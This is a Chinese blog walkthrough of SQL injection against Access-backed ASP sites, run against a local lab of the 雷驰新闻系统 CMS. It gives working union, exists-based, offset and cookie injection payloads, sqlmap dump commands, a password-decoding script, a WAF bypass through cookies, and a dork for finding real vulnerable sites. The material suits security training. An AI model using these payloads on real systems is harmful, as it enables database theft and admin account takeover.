1 Access 数据库
简介:
Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb 。
特点:
1、Access数据库中没有注释符号,因此 /**/ 、 -- 和 # 都没法使用
2、Access是小型数据库,当容量到达100MB左右的时候性能就会开始下降
3、Access数据库不支持错误显示注入,Access数据库不能执行系统命令
4、Access没有系统自带库,不能通过系统自带库进行查询
2 Cookie注入
简介
什么是Cookie?
Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登陆管理员账号
Cookie与注入有何关联?
在动态脚本语言中,超全局变量可以用来获取多种传参方式。在开发过程中,为了考虑到不同的传参需求,通常会采用多种方法来解释和接收参数。在 PHP 中,`$_REQUEST` 变量可以获取通过 POST、GET 和 COOKIE 传递的参数。不过需要注意的是,PHP 5.4 及以上版本不再支持通过 `$_REQUEST` 接收 COOKIE 参数
开发用$_REQUEST[]来接受参数,我们的POST和GET注入被Waf拦截了怎么办?
那么也许Waf没有对Cookie进行检测,我们尝试用Cookie进行注入,然后不就可以绕过检测机制
3 搭建雷驰新闻系统靶场
3.1 搭建window2003虚拟机
csdn 参考文档 http://t.csdnimg.cn/FjCqz
迅雷下载ISO文件
ed2k://|file|cn_win_srv_2003_r2_standard_with_sp2_vl_cd1_X13-46532.iso|636440576|B39CCD2AE1E7EEC42328FD475A376778|/
3.2 使用window2003搭建 IIS + asp +access 网站
csdn参考文档 http://t.csdnimg.cn/mOg3p
asp源码下载
雷驰新闻系统V1.0 https://www.asp300.cn/31656.html
雷驰新闻系统V3.0 https://down.chinaz.com/soft/16763.htm
3.3 直接选择虚拟机ip地址并配置相应端口,便可在本机上直接访问
3.4 成功搭建
4 雷驰新闻系统 V1.0靶场实例
随意进入一篇文章,发现URL栏地址发生变化,尝试注入 ' and 1=1 -- + 出现报错,发现是id参数为数值,不需要考虑引号闭合
注入 and 1=1 成功注入
注入 order by 12 出现报错,注入order by 11却成功,说明页面有11个字段
注入 union select 1,2,3,4,5,6,7,8,9,10,11 出现报错,这是因为MySQL允许直接选择常量。而Access SQL不允许直接选择常量,它期望从一个具体的表中选择字段。
一般以access为数据库的老网站都有两个表,admin,news ,admin表有两个字段username(user,name),password(passwd,pass),可以尝试 inurl: asp?id=1 谷歌输入法搜索老站
这里使用burp suite抓包后对数据表名进行爆破
得到2个表名admin,news
注入 union select 1,2,3,4,5,6,7,8,9,10,11 from admin 发现2,3,8,9,10是显示位
同理要想注入获得字段内容,需要尝试字段名名,依旧选择burp suite爆破
得到两个字段名admin,password
注入 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin
猜测是登录名和密码,但不知道后台登录地址 ,一般老网站的后台登录路径 为admin/
这里尝试使用御剑后台扫描爆破,选择ASP探测200(响应值),扫描得到路径为/admin/adminlogin.asp
输入用户名admin,密码bfpms,登陆不成功
猜测登陆密码经过加密后得到的是bfpms,编写解密脚本
def decrypt(text):
result = ''
for i, c in enumerate(text):
result += chr(ord(c) - (i + 1))
return result
# 示例
encrypted_text = "bfpms" # 假设这个是加密过的消息
decrypted_text = decrypt(encrypted_text)
print("解密后的消息:", decrypted_text)
得到真正登录密码为:admin
成功登陆但是无法获取shell(是指一种命令行接口,它允许用户与操作系统进行交互),因为系统无法上传图片,编辑器损坏。
这里也可以使用sqlmap检测注入
sqlmap -u http://192.168.174.137:8002/onews.asp?id=45 --batch
Access布尔注入
输出数据表信息
sqlmap -u http://192.168.174.137:8002/onews.asp?id=45 --tables --batch
输出数据表字段信息
sqlmap -u http://192.168.174.137:8002/onews.asp?id=45 -T admin --column --batch
输出数据表字段内容
sqlmap -u http://192.168.174.137:8002/onews.asp?id=45 -T admin -C "id,admin,password" --dump --batch
5 雷驰新闻系统 V3.0靶场实例
注入 and 1=1 发现网页有waf,注入失败
这里尝试采用cookie注入,因为WAF通常对常见的HTTP头(如GET、POST、URL参数)进行严格检查,但对一些不常见或次要的头(如Cookie)可能检查较少或没有严格的规则。
打开控制台输入document.cookie命令可以看到当前网页cookie
GET请求参数的优先级高于Cookie,如果GET请求中已经包含了一个id参数,这个参数会覆盖Cookie中的id值。因此,你需要确保GET请求中没有包含id参数,这样才能让Cookie中的id值生效。
这里换一种方法:使用 and exists(select * from 表名) 爆破表名
exists函数检查子查询是否能查询到数据,可以就返回true,页面正常
控制台输入
document.cookie="id="+escape("46 and exists(select * from tables)")
注入页面显示错误,说明表名不是tables,只有显示正常页面才说明表名正确,我们进行抓包爆破
得到2个表名admin,news
控制台输入
document.cookie="id="+escape("46 union select 1,2,3,4,5,6,7,8,9,10,11 from admin")
escape()函数:将函数里的内容进行url编码,
页面出现显示位
偏移注入
这里不使用爆破获取表名,换一种方法,我们使用偏移注入方式跳过输入表名
表 . * 等价于 *
注入语句 document.cookie="id="+escape("46 union select 1,2,3,admin.*,5,6,7,8,9,10,11 from admin") 出现报错,说明admin.* 的字段码不止一个,继续调试
直到admin.*占用4个字段位置时,注入 document.cookie="id="+escape("46 union select 1,2,3,admin.*,8,9,10,11 from admin") 页面成功显示
可知2,3是显示位,注入 document.cookie="id="+escape("46 union select 1,admin.*,2,3,8,9,10,11 from admin") 即可显示admin.*前两个字段内容
成功显示前两个字段内容
8,9,10是显示位,注入document.cookie="id="+escape("46 union select 1,2,3,8,9,10,admin.*,11 from admin")即可显示admin.*后3个字段内容
成功显示后三个字段内容
整合一下便是admin表首条记录内容,登陆名是admin,密码是 admin(解密后)
剩下操作和上文雷驰新闻系统v1.0相同,可自行操作
安装cookie插件实现注入
注入 id=46 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 from admin
先URL转码为
id%3D46%20and%201%3D2%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%20from%20admin
新建一个cookie
注入成功
使用burp suite实现cookie注入
抓包将转码后的URL
id=id%3D46%20and%201%3D2%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%20from%20admin
粘贴到cookie后,并删除get请求头
成功注入
也可以使用sqlmap测试注入
使用burp suite抓包后在cookie后添加标记粘贴为txt
测试注入方式
sqlmap -r /home/kali/桌面/ceshi.txt -T --batch
得到数据表信息
sqlmap -r /home/kali/桌面/ceshi.txt --tables --batch
非特殊说明,本博所有文章均为博主原创。
共有 0 条评论